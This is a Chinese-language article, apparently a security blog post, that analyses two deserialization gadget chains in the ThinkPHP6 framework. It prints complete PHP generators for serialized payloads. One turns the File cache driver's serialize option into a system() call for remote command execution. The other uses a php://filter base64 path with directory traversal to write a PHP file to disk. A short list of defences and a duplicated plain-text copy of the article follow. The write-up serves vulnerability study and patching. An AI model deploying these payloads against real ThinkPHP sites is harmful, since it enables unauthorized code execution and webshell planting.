thinkphp6的另反序列化分析
字数 937 2025-08-15 21:33:48

ThinkPHP6反序列化漏洞分析与利用

漏洞概述

本文详细分析ThinkPHP6框架中的反序列化漏洞,该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE)或文件写入操作。漏洞主要涉及两个利用链,分别通过不同的方法实现攻击。

环境准备

  1. 使用Composer搭建ThinkPHP6环境
  2. 通过php think run命令启动服务

漏洞分析

第一条利用链:通过__destruct触发

初始触发点

AbstractCache类中的析构函数:

protected $autosave = true;

public function __destruct() {
    if (!$this->autosave) {
        $this->save();
    }
}

通过控制autosave为false可以触发save()方法。

调用链分析

  1. save()方法在CacheStore类中:
public function save() {
    $contents = $this->getForStorage();
    $this->store->set($this->key, $contents, $this->expire);
}
  1. getForStorage()方法:
public function getForStorage() {
    $cleaned = $this->cleanContents($this->cache);
    return json_encode([$cleaned, $this->complete]);
}
  1. cleanContents()方法:
public function cleanContents(array $contents) {
    $cachedProperties = array_flip([
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
        'md5',
    ]);
    foreach ($contents as $path => $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }
    return $contents;
}

关键利用点

File类中的set()方法:

public function set($name, $value, $expire = null): bool {
    // ...
    $data = $this->serialize($value);
    // ...
    $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    $result = file_put_contents($filename, $data);
    // ...
}

其中serialize()方法:

protected function serialize($data): string {
    if (is_numeric($data)) {
        return (string) $data;
    }
    $serialize = $this->options['serialize'][0] ?? "serialize";
    return $serialize($data);
}

通过控制options['serialize']可以实现函数调用,如设置为system即可执行系统命令。

第二条利用链:文件写入利用

利用相同的调用链,但最终通过file_put_contents实现文件写入:

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

通过控制filenamedata可以实现任意文件写入。

漏洞利用

远程代码执行(RCE)利用

<?php
namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache {
        protected $autosave = false;
        protected $complete = [];
        protected $cache = ['`id`'];
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache {
        protected $store;
        protected $key;
        public function __construct($store,$key,$expire) {
            $this->key = $key;
            $this->store = $store;
            $this->expire = $expire;
        }
    }
}

namespace think\cache{
    abstract class Driver{}
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver {
        protected $options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => false,
            'path' => 's1mple',
            'hash_type' => 'md5',
            'serialize' => ['system'],
        ];
    }
}

namespace{
    $b = new think\cache\driver\File();
    $a = new think\filesystem\CacheStore($b,'s1mple','1111');
    echo urlencode(serialize($a));
}

注意:此利用方式在Linux/Unix下使用反引号(`)执行命令,但无回显。

文件写入利用

<?php
namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache {
        protected $autosave = false;
        protected $complete = [];
        protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; // base64编码的"<?php phpinfo();?>"
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache {
        protected $store;
        protected $key;
        public function __construct($store,$key,$expire) {
            $this->key = $key;
            $this->store = $store;
            $this->expire = $expire;
        }
    }
}

namespace think\cache{
    abstract class Driver{}
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver {
        protected $options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => false,
            'path' => 'php://filter/convert.base64-decode/resource=s1mple/../',
            'hash_type' => 'md5',
            'serialize' => ['serialize'],
            'data_compress' => false
        ];
    }
}

namespace{
    $b = new think\cache\driver\File();
    $a = new think\filesystem\CacheStore($b,'s1mple','2333');
    echo urlencode(serialize($a));
}

关键点

  1. 使用php://filter/convert.base64-decode/resource=进行base64解码
  2. 通过../跳转目录实现文件写入到可访问位置
  3. 使用serialize函数确保数据格式正确

防御措施

  1. 避免反序列化用户可控的数据
  2. 更新到最新版本的ThinkPHP
  3. 对序列化数据进行签名验证
  4. 限制危险函数的使用
  5. 设置合适的文件系统权限

总结

本文详细分析了ThinkPHP6中的反序列化漏洞,展示了两种不同的利用方式:

  1. 通过控制options['serialize']实现函数调用,达到RCE
  2. 通过控制文件路径和内容实现任意文件写入

这两种方式都利用了框架中不安全的反序列化操作,强调了在开发过程中对反序列化操作进行严格安全检查的重要性。

ThinkPHP6反序列化漏洞分析与利用 漏洞概述 本文详细分析ThinkPHP6框架中的反序列化漏洞,该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE)或文件写入操作。漏洞主要涉及两个利用链,分别通过不同的方法实现攻击。 环境准备 使用Composer搭建ThinkPHP6环境 通过 php think run 命令启动服务 漏洞分析 第一条利用链:通过__ destruct触发 初始触发点 在 AbstractCache 类中的析构函数: 通过控制 autosave 为false可以触发 save() 方法。 调用链分析 save() 方法在 CacheStore 类中: getForStorage() 方法: cleanContents() 方法: 关键利用点 在 File 类中的 set() 方法: 其中 serialize() 方法: 通过控制 options['serialize'] 可以实现函数调用,如设置为 system 即可执行系统命令。 第二条利用链:文件写入利用 利用相同的调用链,但最终通过 file_put_contents 实现文件写入: 通过控制 filename 和 data 可以实现任意文件写入。 漏洞利用 远程代码执行(RCE)利用 注意 :此利用方式在Linux/Unix下使用反引号( ` )执行命令,但无回显。 文件写入利用 关键点 : 使用 php://filter/convert.base64-decode/resource= 进行base64解码 通过 ../ 跳转目录实现文件写入到可访问位置 使用 serialize 函数确保数据格式正确 防御措施 避免反序列化用户可控的数据 更新到最新版本的ThinkPHP 对序列化数据进行签名验证 限制危险函数的使用 设置合适的文件系统权限 总结 本文详细分析了ThinkPHP6中的反序列化漏洞,展示了两种不同的利用方式: 通过控制 options['serialize'] 实现函数调用,达到RCE 通过控制文件路径和内容实现任意文件写入 这两种方式都利用了框架中不安全的反序列化操作,强调了在开发过程中对反序列化操作进行严格安全检查的重要性。